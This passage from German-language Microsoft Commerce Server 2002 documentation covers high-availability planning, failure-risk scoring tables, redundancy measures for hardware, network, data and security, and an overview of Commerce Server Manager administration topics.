Fehlertolerant | 99,999 % | 5 Minuten
Fortlaufend | 100 % | 0

In diesem Abschnitt werden die Commercial Server-Features beschrieben, die eine hohe Verfügbarkeit gewährleisten und einzelne Schwachstellen der jeweiligen Commerce Server-Systeme ermitteln. Weiterhin werden die für die Gewährleistung einer hohen Verfügbarkeit notwendigen Techniken näher erläutert.

Dieser Abschnitt beinhaltet folgende Themen:

  • Einschätzen der Verfügbarkeitsanforderungen. Erklärt, wie Sie die Verfügbarkeitsanforderungen für die Site bestimmen können.
  • Wartungsprozeduren für hohe Verfügbarkeit. Enthält Richtlinien zum Erstellen von Bereitsstellungsprozeduren.
  • Vermeidung von Sitefehlern. Beschreibt häufige Ursachen von Sitefehlern sowie Methoden zur Problembehebung.
  • Überlegungen zum Design von Komponenten für hohe Verfügbarkeit. Auflistung beispielhafter Betriebszeitanforderungen für Commerce Server-Funktionen.


Einschätzen der Verfügbarkeitsanforderungen

Wenn Sie eine Site mit hoher Verfügbarkeit einrichten, wird die Bereitstellung bei der Annäherung an die Verfügbarkeitsgrenze von 100 % zunehmend kostspieliger. Aus diesem Grund müssen Sie sich im Vorfeld darüber klar werden, zu welchen Kompromissen Sie angesichts Ihres verfügbaren Budgets bereit sind.

Die folgende Tabelle enthält einen Beispielrahmen, auf dessen Grundlage Sie die Vorteile der Implementierung bestimmter Strategien zur Vermeidung von Störungen leichter berechnen können. Die in der Tabelle angegebenen Zahlen sind nur als Richtwerte zu verstehen. Beim Erstellen einer Risikobewertungstabelle für Ihre Site können Sie Ihre eigenen Daten und Kriterien verwenden.

In der Tabelle werden für jedes Commerce Server-Feature das Verwendungsprofil und die Auswirkungen von Störungen aufgelistet. Bei den aufgeführten Verfügbarkeitszielen handelt es sich um typische Beispiele. Für Ihre Site können Sie jederzeit andere Verfügbarkeitsziele auswählen.

Feature Verwendungsprofil Störungsauswirkungen Angestrebte Verfügbarkeit (%)
Produktkatalogsystem
  • 100 % Nur-Lese-Zugriff
  • Umfangreiche administrative Aktualisierungen
 Einkauffunktion nicht verfügbar 99,99
Data Warehouse (OLAP-Datenbanken und -Cubes)
  • Schneller Lese-/Schreibzugriff erforderlich
 Keine Berichte verfügbar 99,9
Data Warehouse (Import)
  • Lese-/Schreibzugriff auf sehr große Datenbank
 Daten nicht aktuell 99
Verzeichnisdienst
  • 99 % Nur-Lese-Zugriff
 Kundenautorisierung nicht verfügbar; Einkauffunktion nur für anonyme Benutzer 99,9
Zielgruppenadressierungssystem
  • 100 % Nur-Lese-Zugriff
  • Administrative Aktualisierungen
 Eingeschränkte Einkauffunktion 99
Bestelltransaktionen
  • Lese-/Schreibzugriff
  • Höchste Anforderungen an Sicherheit und Verfügbarkeit
 Einkauffunktion nicht verfügbar 99,999
Profilsystem
  • 97 % Lesezugriff
  • 3 % Schreibzugriff (Bearbeiten)
 Kundenautorisierung nicht verfügbar; keine personalisierten Inhalte; Einkauffunktion nur für anonyme Benutzer 99,9

Für Authentifizierungen auf einer großen Site können Sie entweder SQL Server oder Active Directory verwenden. Beide Anwendungen unterstützen die Einkauffunktion für anonyme Benutzer.

Hinweis

  • Der Verzeichnisdienst umfasst Active Directory, Site Server 3.0, LDAP Server bzw. beliebige andere LDAP-Server von Drittanbietern.


Wartungsprozeduren für hohe Verfügbarkeit

Eine der effektivsten und zugleich kostengünstig implementierbaren Möglichkeiten zur Gewährleistung der Siteverfügbarkeit ist das Festlegen präziser und gut dokumentierter Wartungsprozeduren.

Erstellen Sie für Ihre Site die folgenden Wartungsprozeduren:

  • Änderungsmanagement
  • Dienstebenenmanagement
  • Problemmanagement
  • Kapazitätsmanagement
  • Sicherheitsmanagement

Weitere Informationen über das Sicherheitsmanagement finden Sie in dem englischsprachigen Buch Designing Secure Web-Based Applications for Microsoft Windows 2000 von Michael Howard, das online unter http://go.microsoft.com/fwlink/?LinkId=6711 vorgestellt und angeboten wird.

Microsoft hat unter der Bezeichnung Enterprise Services Frameworks (Microsoft Readiness Framework, Microsoft Solutions Framework und Microsoft Operations Framework) eine Knowledge Base angelegt, in der branchenspezifisches Know-how und optimale Vorgehensweisen für derartige Prozeduren beschrieben werden.

Sobald Sie eine Reihe stabil funktionierender Wartungsprozeduren zusammengestellt haben, können Sie dazu übergehen, die Verfügbarkeit der Hardware- und Softwarekomponenten zu optimieren. Die Verfügbarkeit eines Systems wird nicht nur durch redundante Hardware- und Softwaresysteme beeinflusst.

Implementieren Sie ein Änderungsmanagementsystem, mit dem die Anforderung, Genehmigung und Implementierung von Änderungen erfasst werden. Das Änderungsmanagement bietet historische Prüfpunkte, auf deren Grundlage aufgetretene Probleme mit vorgenommenen Änderungen an der Konfiguration in Verbindung gebracht werden können. Weitere Informationen über Verfahren zur Konfigurationsverwaltung finden Sie in Kapitel 8, "Developing Your Site", des Microsoft Commerce Server 2000 Resource Kit, das bei Microsoft Press erhältlich ist.

Mithilfe von Eskalationsprozeduren können eventuelle Unsicherheiten hinsichtlich der bei einer Störung zu ergreifenden Maßnahmen auf ein Minimum reduziert werden. Legen Sie eine Liste der Ansprechpartner für die verschiedenen Sicherheitsstufen an, sodass Sie im Falle einer Störung sofort die erforderliche Hilfe anfordern können.

Service Level Agreement

Zur Gewährleistung einer angemessenen Form der Siteüberwachung sowie zur Aufrechterhaltung der Verfügbarkeit der Site sollte mit Internetdienstanbietern unbedingt ein Service Level Agreement (SLA) abgeschlossen werden.

Stufenweise Bereitstellung

Stellen Sie Ihre Inhalte aus der Entwicklungsphase zunächst in Testumgebungen und dann in einer Vorproduktionsumgebung bereit, damit eventuelle Fehler noch vor der Überführung in die Produktionsumgebung erkannt werden können. Definieren Sie für jede Umgebung spezielle Freigabekriterien, sodass genau festgelegt ist, wann die Anwendung in die nächste Umgebung übernommen werden kann.

So ist beispielsweise die Entwicklungsumgebung in der Regel die Umgebung mit den wenigsten Beschränkungen und der geringsten Stabilität. Die Testumgebung ist im Vergleich zur Entwicklungsumgebung zumeist stabiler und leistungsfähiger. Die Vorproduktionsumgebung ist normalerweise stabil, und die Produktionsumgebung sollte vollständig stabil und mit der gewünschten Leistungsfähigkeit funktionieren.


Vermeidung von Sitefehlern

Es gibt drei Klassen von Ereignissen, die zu Sitefehlern führen können: Menschliches Versagen, Hardwarefehler und Softwarefehler. Ohne gewissenhafte Planung kann jedes dieser Ereignisse die angestrebte Verfügbarkeit der Site ruinieren.

Die am schwierigsten zu handhabende Kategorie ist die des menschlichen Versagens, da die für die Verwaltung der Site verantwortlichen Personen gleichzeitig ihre schlimmsten Feinde sein können. Wenn Benutzer mit der aktiven Site interagieren, könnte die Ausführung einer Operation Auswirkungen auf das System haben. Daher ist es unbedingt empfehlenswert, alle Verwaltungsoperationen im entsprechenden Testumfeld zunächst zu testen und zu protokollieren. Wenn eine neue Verwaltungsoperation zum ersten Mal in einer aktiven Site eingesetzt wird, sollten ihre Auswirkungen auf das gesamte System genau beobachtet werden. Durch diese gewissenhafte Vorbereitung kann eine Site die höchstmögliche Verfügbarkeit erreichen.

Das vorliegende Thema enthält eine Liste von häufiger auftretenden Problemen, die einen Siteausfall verursachen können, sowie Hinweise dazu, wie solche Ausfälle durch gezielte Maßnahmen vermieden werden können.

  • Anwendungssoftware
  • Klimasteuerung
  • Daten
  • Stromversorgung
  • Hardware
  • Netzwerk
  • Sicherheit
  • Server


Anwendungssoftware

Potenzielles Problem: Minderwertige Codequalität, Anfälligkeit für Angriffe auf Dienste sowie nicht erfüllte Plattformkompatibilitätsmerkmale.

Präventivmaßnahmen:

  • Erstellen Sie eine stabile Architektur, die auf redundanten Servern mit Lastenausgleich beruht. Beachten Sie, dass Cluster mit Lastenausgleich nicht mit Windows-Anwendungsclustern identisch sind. Die Laufzeitkomponenten von Commerce Server wurden nicht für Windows Clustering, sondern für den Lastenausgleich mit Network Load Balancing/WLBS konzipiert.
  • Überprüfen Sie den Code, um eventuelle Pufferüberläufe, Endlosschleifen, Codeabstürze oder Schwachstellen für Sicherheitsangriffe zu vermeiden.
  • Installieren Sie eine stabile, ausreichend getestete Anwendungssoftware, die korrekt funktioniert, mit der bereits vorhandenen Software kompatibel ist und die angestrebten Leistungsmerkmale erfüllt. Ferner ist es wichtig, die Softwareversionen zu überwachen und Änderungen zu verwalten. Weitere Informationen zum Verwalten von Änderungen finden Sie in Kapitel 8, "Developing Your Site", des Microsoft Commerce Server 2000 Resource Kit, das bei Microsoft Press erhältlich ist.
  • Verwenden Sie ausschließlich Produktionssoftware. Von der Verwendung von Software, die sich noch in der Entwicklung oder Evaluierung befindet, wird ausdrücklich abgeraten.


Klimasteuerung

Potenzielles Problem: Fehlfunktion der Klima- oder Heizungsanlagen.

Präventivmaßnahmen:

  • Sorgen Sie dafür, dass die Temperatur der Hardware innerhalb der vom Hersteller vorgegebenen Werte bleibt. Zu große Hitze kann die CPU zum Einschmelzen bringen. Bei zu hoher Kälte können bewegliche Teile wie Lüfter oder Laufwerke beschädigt werden.
  • Überwachen Sie die Luftfeuchtigkeit. Zu hohe Luftfeuchtigkeit kann durch die Kondensation von Wasser auf Baugruppen Kurzschlüsse verursachen. Zu hohe Trockenheit kann zu statischen Entladungen führen, durch die einzelne Komponenten bei Berührung beschädigt werden.


Daten

Potenzielles Problem: Beschädigung von Daten.

Präventivmaßnahmen:

  • Erstellen Sie regelmäßig Sicherungskopien, und archivieren Sie diese Sicherungskopien außerhalb der Site. Zur Einsparung von Speicherplatz können Sie jede vierte reguläre Sicherungskopie außerhalb der Site archivieren.

    Wenn Ihre Daten beschädigt werden, können Sie sie mithilfe von Sicherungskopien auf den Stand vor der Beschädigung zurücksetzen. Wenn Sie auch von den Transaktionsprotokolldateien Sicherungskopien angelegt haben, können Sie die wiederhergestellten Daten anschließend mithilfe der Transaktionsprotokolldateien aktualisieren.

  • Zur Wartung von Daten müssen Sie Transaktionsprotokolldateien gegen eine gültige Datenbank laufen lassen. Dieses Verfahren wird auch als "Protokollversand an einen aktiven Backup-Server" bezeichnet. Es eignet sich vor allem für die Verwaltung von Business-Recovery-Sites (auch "Hot-Sites" genannt).
  • Stellen Sie Windows Clustering bereit. Commerce Server verwendet Datenspeicher wie SQL Server und Microsoft Active Directory. SQL Server ermöglicht den Zugriff auf Daten und Dienste, wie z. B. die Katalogsuche. Dabei wird für die Redundanz Windows Clustering verwendet. Active Directory bietet Zugriff auf Profildaten und kann Authentifizierungsdienste bereitstellen. Für die Redundanz werden in Active Directory Datenreplikationen verwendet.
  • Generell ist das Clustering besser für dynamische Daten (Lesen/Schreiben) und die Datenreplikation besser für statische Daten (Nur Lesen) geeignet.
  • Reduzieren Sie die Wahrscheinlichkeit und die Auswirkungen eines SQL Server-Ausfalls auf ein Minimum, indem Sie entweder die SQL Server-Server clustern oder die Daten auf den verschiedenen SQL Server-Servern replizieren. SQL Server 2000 wird für Hochverfügbarkeitskonfigurationen vollständig unterstützt.
  • Wenn Sie Active Directory verwenden, erstellen Sie eine Sicherungskopie der Active Directory-Speicher. (Active Directory kann dabei online sein.)

    Verwenden Sie mindestens zwei Active Directory-Domänencontroller mit einem Replikationszeitplan, der Ihren Anforderungen entspricht. Die Wiederherstellung eines Domänencontrollers kann zeitaufwändig sein und setzt außerdem voraus, dass der Domänencontroller offline ist. Durch den Einsatz von Peerdomänencontrollern können Sie die Ausfallzeit im Falle einer Wiederherstellung Ihrer Site aus Sicherungskopien auf ein Minimum reduzieren.


Stromversorgung

Potenzielles Problem: Fehlfunktion von unterbrechungsfreien Stromversorgungen oder Generatoren.

Präventivmaßnahmen:

  • Verwenden Sie unterbrechungsfreie Stromversorgungen (USV). Da unterbrechungsfreie Stromversorgungen in der Regel akkubetrieben sind, eignen sie sich nur für Ausfälle, die von kurzer Dauer sind. Achten Sie darauf, dass eine USV dieselbe Nennleistung wie Ihr System aufweisen muss.
  • Verwenden Sie Generatoren als Reserve für die unterbrechungsfreien Stromversorgungen. Für Generatoren gibt es keine zeitlichen Beschränkungen, da sie kraftstoffbetrieben (Diesel oder Benzin) sind und bei Bedarf jederzeit nachgetankt werden können.


Hardware

Potenzielles Problem: Leistungsminderung oder Fehlfunktion von Speicherbaugruppen und CPU, Festplatten, Laufwerkcontrollern oder Stromversorgungseinrichtungen.

Präventivmaßnahmen: Stellen Sie zum Beispiel folgende redundante Hardwarekomponenten bereit:

  • Verwenden Sie RAID-Laufwerkgruppen (Redundant Array of Inexpensive Disks), Laufwerkspiegelungen und zwei Laufwerkcontroller, um Laufwerkfehler auf ein Minimum zu reduzieren. Zur Verkürzung der Ausfallzeit bei Laufwerkfehlern gibt es eine Vielzahl ausgezeichneter Drittanbieterlösungen.
  • Verwenden Sie einen redundanten Laufwerkcontroller.
  • Nutzen Sie redundante Fiber-Channel-Hostbusadapter und -Switches (für SAN-Konfiguration). Im Falle eines Adapter- oder Switchausfalls stellt der Reserveadapter oder -switch einen alternativen Pfad zum SAN bereit.


Netzwerk

Potenzielles Problem: Fehlfunktion von Switches, Routern, Firewalls, Kabelmedien oder Netzwerkkarten, oder Internetdienstanbieter erfüllen SLA-Bedingungen nicht.

Präventivmaßnahmen: Implementieren Sie Netzwerkredundanz.

  • Verwenden Sie mehrere Netzwerkadapter, Router, Switches, lokale Netzwerke (LAN) bzw. Firewalls.
  • Schließen Sie Verträge mit mehreren Internetdienstanbietern ab, oder richten Sie identische Systeme an getrennten Standorten ein.
  • Aktivieren Sie Routing- und Verwaltungsprotokolle (dies könnte eine Konfiguration von Firewallregeln erforderlich machen: RIP2, OSPF, ICMP)


Sicherheit

Potenzielles Problem: Firewalls, Netzwerke und Webanwendungen funktionieren nicht richtig, und Sie sind Angriffen von Hackern aus dem Internet ausgesetzt.

Präventivmaßnahmen:

  • Beauftragen Sie ein unabhängiges Unternehmen für Sicherheitsaudits, Ihre Umgebung zu überprüfen und zu bewerten.
  • Stellen Sie Werkzeuge zur Erkennung von Eindringversuchen bereit.
  • Installieren Sie mehrere Firewalls.
  • Überzeugen Sie sich anhand der Server- und Clientzertifikate von der Identität der Systeme, mit denen Ihre Site interagiert.

Die neuesten Strategien und Verfahren zur Lösung von Sicherheitsproblemen finden Sie in den folgenden Informationsquellen:

  • Sichern der Site
  • Microsoft Windows 2000 Security Services unter http://go.microsoft.com/fwlink/?LinkId=6712.
  • Microsoft Security-Homepage unter http://go.microsoft.com/fwlink/?LinkId=6679
  • Microsoft Security Bulletins von TechNet unter http://go.microsoft.com/fwlink/?LinkId=6713
  • Microsoft Security Tools von TechNet unter http://go.microsoft.com/fwlink/?LinkId=6689


Server

Potenzielles Problem: Überlastung des Servers.

Präventivmaßnahmen: Stellen Sie redundante Server mit Lastenausgleich bereit. Durch Einzel-IP-Lösungen wird die Sitekapazität erhöht, da HTTP-Anforderungen in Abhängigkeit von der Kapazität, über welche die einzelnen Server für die Bewältigung der erforderlichen Last verfügen, proportional verteilt werden. Bei Verwendung einer Einzel-IP-Lösung stellen Sie darüber hinaus sicher, dass Benutzer ausschließlich an aktive Server verwiesen werden. Für den Lastenausgleich zwischen Servern stehen Ihnen zahlreiche Einzel-IP-Lösungen zur Verfügung. Nachstehend einige Beispiele:

  • Sowohl Microsoft Windows 2000 Advanced Server als auch Microsoft Windows 2000 Datacenter Server bieten einen NLB-Dienst (Network Load Balancing; Netzwerklastenausgleich).
  • Microsoft Application Center 2000 bietet Verbesserungen beim Netzwerklastenausgleich (Weiterleitung von Anforderungen) und unterstützt die Nutzung einer einzelnen IP-Adresse durch mehrere Benutzer.
  • Suchen Sie nach hardwarebasierten Lastenausgleichslösungen.


Vermeidung von Hardwarefehlern

Hardwarefehler können jederzeit auftreten. Zu dieser Fehlerklasse gehören auch Umweltschäden wie Naturkatastrophen oder Feuer. Der sicherste Weg zur Minimierung des Risikos ist der Entwurf einer Hardwareumgebung mit der geringsten Anzahl von Einzelfehlerquellen. Während der Planungsphase sollte die für die Implementierung verantwortliche Person eine Karte der Hardware erstellen, die alle Verbindungspunkte von Speicher, Netzwerk und Softwarelogik zeigt. Dann können potenzielle Lösungen geplant und eine Kosten/Risiko-Analyse durchgeführt werden. Für diesen Bereich gibt es viele unterschiedliche Lösungen, die von einfachen Sicherheitskopien wichtiger Daten auf Bändern bis hin zu katastrophensicheren Bunkern reichen.

Die folgende Tabelle enthält Tools und Strategien zur Reduzierung von durch Hardwarefehler verursachten Ausfallzeiten. Mit einem "X" wird in der Tabelle darauf hingewiesen, dass das Tool zur Vermeidung des angegebenen Fehlertyps verwendet werden kann. Zur Vermeidung von Anwendungs-, Datenbank- oder Serverfehlern verwenden Sie beispielsweise Konfigurationen mit Clustern.

Tool oder Strategie | Anwendung | Datenbank | Netzwerk | Server
Konfigurationen mit Clustern | X | X |  | X
Datensicherungen | X | X |  | X
Datenreplikation | X | X |  | X
Zwei Laufwerkcontroller |  | X |  | X
Zwei Stromversorgungen | X | X | X | X
Zwei Router |  |  | X |
Geographisch getrennte Data Centers | X | X | X | X
Gespiegelte Laufwerke |  | X |  | X
Mehrere Internetdienstanbieter |  |  | X |
Mehrere Netzwerkkarten |  |  | X |
RAID-Laufwerkgruppen |  | X |  | X
Unterbrechungsfreie Stromversorgungen (USV) | X | X | X | X


Einschätzung der Wahrscheinlichkeit eines Sitefehlers

Mithilfe der folgenden Formel können Sie die relative Wahrscheinlichkeit (RW) eines Sitefehlers berechnen:

  • RW = A x E x S

Hierbei gilt:

  • A (Wahrscheinlichkeit des Auftretens) gibt an, wie häufig ein Fehler erwartungsgemäß auftritt (Wertebereich: 1 bis 10; je höher die Zahl, desto größer die Wahrscheinlichkeit des Fehlers).
  • E (Erkennbarkeit) gibt an, wie schwierig es ist, einen bestimmten Fehler zu finden (Wertebereich: 1 bis 10; je höher die Zahl, desto schwerer kann der Fehler erkannt werden).
  • S (Schweregrad) gibt an, in welchem Maße die Site von dem Fehler beeinträchtigt wird (Wertebereich: 1 bis 10; je höher die Zahl, desto schwer wiegender der Fehler und desto folgenschwerer der Ausfall).

Die folgende Tabelle enthält eine Liste der Komponenten, die unter Umständen ausfallen können. Ferner werden die Auswirkungen der einzelnen Fehler sowie eine Berechnung der relativen Wahrscheinlichkeit des Fehlers aufgelistet. Darüber hinaus werden Maßnahmen zur Vermeidung des Fehlers vorgeschlagen und die relative Wahrscheinlichkeit (RW) des Fehlers nach der Implementierung der Maßnahmen angegeben.

Komponente Auswirkung des Fehlers A E S RW vor der Maßnahme Präventivmaßnahmen A E S RW nach der Maßnahme
CPU (zwei) Server kann offline schalten 2 4 7 56
  • Überwachungssoftware
  • Fernzugriffssoftware
  • CPU deaktivieren
  • Neu starten
 2 2 7 28
CPU (eine) Server offline 2 4 10 40
  • Überwachungssoftware
  • Zweite CPU aktivieren
 2 2 8 32
Laufwerke Server offline 5 4 10 200
  • RAID 5-Controller mit Hot-Spare
  • Überwachungssoftware
 2 2 5 20
Firewall Diebstahl, Site geändert oder unzugänglich 4 4 8 128
  • Überwachungssoftware
  • Zusätzlicher Firewall
 2 2 4 16
Lastenausgleich Gesamter Datenverkehr richtet sich auf einen Server

Site unzugänglich

 4 4 8 128
  • Überwachungssoftware
  • Zusätzlicher Lastenausgleich
 2 2 4 16
Arbeitsspeicher Server offline 2 4 7 56
  • Überwachungssoftware
  • Zusätzlicher Server
 2 2 7 28
NIC (Network Interface Card) Server offline 4 4 8 128
  • Zwei Netzwerkkarten
  • Überwachungssoftware
 1 2 4 8
Stromversorgung Site offline 4 4 10 160
  • Unterbrechungsfreie Stromversorgung (USV)
  • Überwachungssoftware
 2 2 2 8
RAID-Controller Server offline 2 4 10 80
  • Überwachungssoftware
  • Zusätzlicher Server
 2 2 8 32
Router/ Kundenservice (CSU) Verbindungen getrennt

Keine Auftragsbearbeitung möglich

Keine Siteverwaltung möglich

 4 4 8 128
  • Redundante Router
  • Überwachungssoftware
 2 2 4 16
SQL Server-Cluster Verlangsamter Dienst aufgrund des Ausfalls eines der Server 5 4 2 40
  • Redundante Server, die für Sitearchitektur konzipiert sind
  • Überwachungssoftware
 5 2 2 20
Switch Einige oder alle Geräte offline 4 4 10 160
  • Redundante Stromversorgungen
  • Redundante Anschlusskarten
  • Redundante Managementkarten
  • Überwachungssoftware
 1 2 4 8
Webserver Site offline 5 4 10 200
  • Zusätzliche Webserver
  • Lastenausgleich
 2 2 5 20


Vermeiden von Fehlern auf der Geschäftslogikebene

Sie können die Geschäftslogikebene stabiler machen, indem Sie Webcluster mit Lastenausgleich einsetzen, um Server, Dienste und das Netzwerk vor Ausfällen zu schützen. Cluster mit Lastenausgleich bieten Ihnen die Möglichkeit, einen nicht reagierenden Server aus dem Cluster herauszunehmen, sodass Benutzer nicht an einen fehlerhaften Server weitergeleitet werden und der nicht reagierende Server repariert werden kann. Durch die Kombination aus RRDNS (Round Robin Domain Naming System) und Lastenausgleich lässt sich eine skalierfähige und verfügbare Konfiguration erstellen.

In einem Cluster mit Lastenausgleich müssen alle Knoten im selben LAN-Subnetz angeordnet sein und auf dieselbe IP-Adresse verweisen. In einer Site mit mehreren Webclustern müssen Sie mehrere Cluster mit Lastenausgleich in mehreren Subnetzen einrichten und das Domain Name System (DNS) so konfigurieren, dass im Sinne einer verbesserten Skalierbarkeit alle Anforderungen nacheinander auf die verschiedenen Cluster mit Lastenausgleich verteilt werden.


Vermeiden von Fehlern auf der Datenbankebene

Sie können die Datenbankebene stabiler machen, indem Sie zum Schutz der Daten eine Kombination aus Laufwerksredundanz und einer soliden Sicherungs- und Wiederherstellungsstrategie verwenden. Für eine verbesserte Stabilität von Datenbankdiensten stehen Ihnen folgende Möglichkeiten zur Verfügung:

  • Clustering. In Windows Clustering können zwei oder mehr Server gemeinsam auf Daten zugreifen und als einheitliches System agieren. Windows Datacenter Server unterstützt bis zu vier Server (Knoten) in einem Cluster. Dabei kann jeder dieser Knoten eigenständig arbeiten.
  • Replikation. Mithilfe von SQL Server-Replikation können Sie Ihre Datenbankserver synchronisieren. SQL Server bietet verschiedene Replikationsoptionen (z. B. die Replikation von Snapshots und Transaktionsreplikation). Active Directory verwendet für die Redundanz ebenfalls Replikationen.
  • Sicherungen im laufenden Betrieb. Sie können mithilfe eines einzelnen Produktionsservers den Lese-/Schreibzugriff auf Daten bereitstellen und dabei alle Transaktionen protokollieren. Anschließend können Sie mit der Protokollversandfunktion von SQL Server Dateien auf einen Nicht-Produktionsserver übertragen, der fortlaufend mit den Transaktionsprotokolldateien aktualisiert wird.

Um ein versehentliches Löschen zu vermeiden, sollten die Daten unbedingt gesichert bzw. repliziert werden. In der folgenden Tabelle werden die beiden Arten der Datenreplikation beschrieben.

Art der Datenreplikation | Merkmale | Einsatzmöglichkeiten
Aktiv | Übernimmt einen Teil der Arbeitslast der primären Site und ist immer online. | Die Daten sind von besonderer Bedeutung, und die Site muss immer verfügbar sein.
Passiv | Inaktiv bis zum Auftreten eines Fehlers, der einen Ausfall der primären Site zur Folge hat. | Die Site kann bis zur Onlinezuschaltung der Reservesite kurze Unterbrechungen bei der Datenverfügbarkeit tolerieren.

Datenbankverbindungen

Für die Kommunikation mit Datenbanken werden in Commerce Server und den entsprechenden Abhängigkeiten Datenbankverbindungen verwendet. Da Datenbankserver auf der Plattform von Betriebssystemen und Diensten arbeiten, sind die möglichen Gründe für Ausfälle oder Fehler vielfältig:

  • Datenträgersystemcrash
  • Netzwerkausfälle
  • Ausfall der Datenbankanwendung
  • Serverausfälle

Es gibt zwei empfehlenswerte Windows 2000-Lösungen für hohe Verfügbarkeit:

  • MSCS-Clusterdienst. Diese Lösung ist anwendbar auf Datenbankserver im Verteilermodus.
  • Netzwerklastenausgleich (NLB). Diese Lösung ist auf den Scale-out-Modus anwendbar. Bei diesem Modus werden die Lasten für mehrere Datenbankserver unter einer einzigen virtuellen IP verteilt. Die Datenbankserver fungieren normalerweise als Abonnenten eines Masterdatenbankservers, der wiederum die Funktion eines Datenverteilers einnimmt. Fällt ein Datenbankserver aus, entfernt NLB den Server aus dem Cluster und leitet die Verbindungen an andere intakte Server weiter.


Überlegungen zum Design von Komponenten für hohe Verfügbarkeit

Die folgende Tabelle enthält Beispiele für Betriebszeitanforderungen an Commerce Server-Funktionen. Diese Beispiele müssen nicht notwendigerweise auf Ihre Anforderungen übertragbar sein. Dennoch können Sie sie jederzeit als Ausgangspunkt für die Erstellung Ihrer Sitearchitektur nutzen.

Commerce Server-Funktion | Angestrebte Betriebszeit (%) | Fehlerklassifizierung
Authentifizierung | 99,99 | Eine Wiederholung zulässig
Warenkorbansicht | 99,999 | Kein Fehler zulässig
Katalogabfrage | 99,99 | Zwei Wiederholungen zulässig
Personalisierung | 99 | Keine Wiederholung möglich
Kaufpipeline | 99,999 | Kein Fehler zulässig
Anzeige einblenden | 99 | Keine Wiederholung

Beispiele für Geschäftslogik, die Sie zum Schutz vor dem Trennen von Datenbankverbindungen verwenden können, finden Sie unter Cachewiederholungslogik.


Verwalten von Commerce Server

In diesem Abschnitt wird beschrieben, wie Sie Microsoft Commerce Server 2002 mithilfe des Commerce Server-Managers verwalten können. Die Informationen sind in erster Linie für Systemadministratoren relevant, zu deren Aufgaben das Hinzufügen und Verwalten von Websiteressourcen, das Installieren und Konfigurieren von Webservern, das Überwachen der Commerce Server-Leistung sowie das Verwalten von Commerce Server-Datenbanken gehört.

Dieser Abschnitt beinhaltet folgende Themen:

  • Hilfe zum Commerce Server-Manager. Führt allgemeine Aufgaben bei der Arbeit mit dem Commerce Server-Manager auf.
  • Verwaltungstools. Beschreibt die Tools, mit denen Systemadministratoren Commerce Server-Installationen verwalten.
  • Verwenden von Commerce Server-Manager. Erläutert die Vorgehensweise beim Starten des Commerce Server-Managers.
  • Ändern der Datenbank-Verbindungszeichenfolgen. Erläutert, wie die Verbindungszeichenfolgen der Commerce Server-Datenbank für die Verwaltungsdatenbank, für globale Ressourcen und Siteressourcen eingerichtet werden.
  • Installieren der Verwaltungstools. Erläutert, wie eine reine Verwaltungskonsole auf einem separaten Computer eingerichtet wird.
  • Verwalten der Verwaltungsdatenbank. Beschreibt die Verwaltungsdatenbank und deren Interaktion mit Sites. Erläutert die Konfiguration der Datenbank und die Sicherheitsverwaltung.
  • Verwalten von Commerce-Ressourcen. Erläutert das Hinzufügen und Entfernen von globalen Ressourcen und Siteressourcen sowie das Starten und Beenden von Ressourcen.
  • Konfigurieren der Anwendungsstandardkonfigurations-Ressource. Erläutert, wie Eigenschaften konfiguriert werden, die sich auf die Authentifizierung auswirken, welche Währungseinheiten in der Site verwendet werden und wie die Integration mit Microsoft BizTalk Server umgesetzt wird.
  • Verwalten von Commerce-Sites. Erläutert das Hinzufügen, Konfigurieren und Löschen von Sites.
  • Verwalten von Commerce-Anwendungen und Webservern. Erläutert das Hinzufügen, Konfigurieren und Löschen von Commerce Server-Anwendungen sowie das Hinzufügen und Löschen von Webservern.
  • Ausführen des Data Warehouse. Erläutert den Datenimport in das Data Warehouse und das Anpassen des Importvorgangs. Beschreibt darüber hinaus die Verwaltung und Ergänzung von Daten im Data Warehouse.
  • Ausführen von Direct Mailer. Erläutert das Erstellen von persönlichen Direktsendungsnachrichten. Dazu wird beschrieben, wie Commerce Server Direct Mailer angepasst wird und wie Direktsendungsaufträge ausgeführt, überwacht und gelöscht werden.
  • Ausführen der Profilressource. Erläutert das Hinzufügen von Profildatenquellen zu Commerce Server, das Erstellen von Profildefinitionen für die Datensammlung in der Website und das Erstellen von Sitebegriffen.
  • Überwachen von Commerce Server-Sites. Erläutert das Überwachen der Commerce Server-Installation. Beschreibt, welche Indikatoren in Commerce Server verwendet werden und wie mithilfe der Commerce Server-Systemindikatoren die Serverleistung verbessert werden kann.
  • Optimieren von Commerce Server. Erläutert die Minimierung der Antwortzeit für einzelne Anfragen sowie die Maximierung des Durchsatzes von Commerce Server.
  • Referenz zur Benutzeroberfläche. Bietet kontextbezogene Hilfethemen für Data Warehouse, Data Transformation Services-Tasks und Commerce Server Site Packager.


Hilfe zum CommerceServer-Manager

Feedback zu dieser Seite senden Commerce Server 2002

Hilfe zum Commerce Server-Manager

Im Folgenden werden die gängigen Aufgaben des Commerce Server-Managers aufgeführt.

Bereich | Themen
Ressourcen | Ressourcen Installieren und Deinstallieren von globalen Ressourcen Hinzufügen eines globalen Ressourcenzeigers zu einer Site Hinzufügen einer Ressource zu einer Site Gemeinsamer Zugriff auf Ressourcen von verschiedenen Sites
Sites und Anwendungen | Sites Anwendungen Verwenden von Site Packager Installation auf einer Clusterkonfiguration mit vier Computern Installation auf einer Konfiguration mit drei Computern ohne Cluster Hinzufügen einer Anwendung zu einer Site Hinzufügen einer Business Desk-Anwendung zu einer Site Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site Hinzufügen eines Webservers zu einer Anwendung Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung Konfigurieren einer Anwendung Konfigurieren eines Webservers
Direct Mailer | Verwenden von Direct Mailer und der Windows-Authentifizierung Konfigurieren von Direct Mailer Ausführen von Direct Mailer
Data Warehouse | Konfigurieren des DTS-Webserverprotokollimport-Tasks Importieren von Daten in Data Warehouse Erstellen von Skripts für DTS-Tasks
CS-Authentifizierungsressource | AuthFilter-Verarbeitung in einer Webfarm Aktivieren von AuthFilter für die Retail-Lösungssite Cookiefreigabe Exchange 2000 Outlook Web Access (OWA)-Standardauthentifizierung
Profilressource | Konfigurieren der Verbindungszeichenfolge für die Profilressource Erstellen einer neuen Datenquelle in der Profilressource
Ressource der Anwendungsstandardkonfiguration | Konfigurieren der Anwendungsstandardkonfigurations-Ressource Konfigurieren von Commerce Server für die Zusammenarbeit mit BizTalk Server
Problembehandlung | Problembehandlung bei Commerce Server-Ressourcen Problembehandlung beim Data Warehouse-Importvorgang


Verwaltungstools

Die folgende Tabelle führt die Verwaltungstools auf, die zur Verwaltung einer Commerce Server 2002-Installation verwendet werden.

Option | Aktion
